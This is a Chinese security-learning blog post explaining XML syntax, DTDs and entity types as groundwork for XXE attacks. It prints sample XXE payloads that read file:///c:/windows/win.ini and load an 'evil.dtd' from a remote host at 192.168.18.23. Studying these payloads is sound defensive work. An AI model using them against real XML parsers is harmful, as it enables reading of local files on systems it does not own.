【Try to Hack】XML

举报
开心星人 发表于 2022/06/29 15:32:55 2022/06/29
【摘要】 📒博客主页:开心星人的博客主页🔥系列专栏:Try to Hack🎉欢迎关注🔎点赞👍收藏⭐️留言📝📆首发时间:🌴2022年6月8日🌴🍭作者水平很有限,如果发现错误,还望告知,感谢!很多内容来自这篇和这篇,仅作为自己学习的记录@toc XML介绍XML全称“可扩展标记语言”(extensible markup language),XML是一种用于存储和传输数据的语言。与HTM...

📒博客主页:开心星人的博客主页
🔥系列专栏:Try to Hack
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年6月8日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

很多内容来自这篇这篇,仅作为自己学习的记录

@toc

XML介绍

XML全称“可扩展标记语言”(extensible markup language),XML是一种用于存储和传输数据的
语言。与HTML一样,XML使用标签和数据的树状结构。但不同的是,==XML不使用预定义标记==,因
此可以为标记指定描述数据的名称。

一个XML文件由XML声明(可选)、DTD(可选)、文档元素组成。

语法规则:
(1) XML文档必须有一个根元素
(2) XML元素都必须有一个关闭标签
(3) XML标签对大小写敏感
(4) XML元素必须被正确的嵌套
(5) XML属性值必须加引号
(6) 实体引用,如果把字符 < 放在 XML 元素中,会发生错误,这是因为解析器会把它当作新元素的开始。所以需要实体化引用为&lt;
(7) XML 中,空格会被保留

<!--XML声明-->
<?xml version="1.0"?>

<!--文档类型定义DTD-->
<!DOCTYPE note [      <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]]]>

<!--文档元素-->
<note>
	<to>Dave</to>
	<from>Tom</from>
	<head>Reminder</head>
	<body>You are a good man</body>
</note>

DTD定义元素

<!--文档类型定义DTD-->
<!DOCTYPE note [      <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]]]>

PCDATA的意思是被解析的字符数据,PCDATA是会被解析器解析的文本
CDATA是不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。

DTD 就定义了 XML 的根元素是note,然后根元素下面有一些子元素,那么 XML 到时候必须像下面这么写

<note>
	<to>Dave</to>
	<from>Tom</from>
	<head>Reminder</head>
	<body>You are a good man</body>
</note>

DTD定义实体

==实体分为内部实体、外部实体、参数实体和公共实体==

除外部参数实体引用以字符(%)开始外,其它实体都以字符(&)开始,以字符(;)结束。

在 DTD 中定义元素(其实就是对应 XML 中的标签)以外,我们还能在 DTD 中定义实体(对应XML 标签中的内容),毕竟 ML 中除了能标签以外,还需要有些内容是固定的

<!--文档类型定义DTD-->
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >
]>

这个是==内部实体==
定义元素为 ANY 说明接受任何元素
定义了一个 xml 的实体,实体其实可以看成一个变量,到时候我们可以在 XML 中通过 & 符号进行引用

文档元素可以这么写

<!--文档元素-->
<creds>
	<user>&xxe;</user>
	<pass>mypass</pass>
</creds>

&xxe 对 上面定义的 xxe 实体进行了引用,到时候输出的时候 &xxe 就会被 “test” 替换。

外部实体

<!ENTITY 实体名称 SYSTEM "URI/URL"> 

外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:
在这里插入图片描述

<!DOCTYPE foo
 [<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>

参数实体

<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
<!ENTITY  % xxe SYSTEM "http://192.168.18.23/xxe/evil.dtd" >
%an-element;
%xxe;]>
<foo>&evil;</foo>

然后evil.dtd的内容为

<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >

注意%xxe;的使用,应该还是比较容易理解的

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
%an-element;
]>

==参数实体在我们 Blind XXE 中起到了至关重要的作用==

公共实体和公用DTD

公用实体
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

公用DTD
<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>

和参数实体使用差不多

<!DOCTYPE foo 
[<!ELEMENT foo ANY >
<!ENTITY  % xxe PUBLIC "public_ID" "http://192.168.18.23/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>

XML 属性

属性通常提供不属于数据组成部分的信息。在下面的实例中,文件类型与数据无关,但是对需要处理这个元素的软件来说却很重要:如下例,就明确了文件类型为 GIF,方便程序进行处理。

<file type="gif">computer.gif</file>
【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。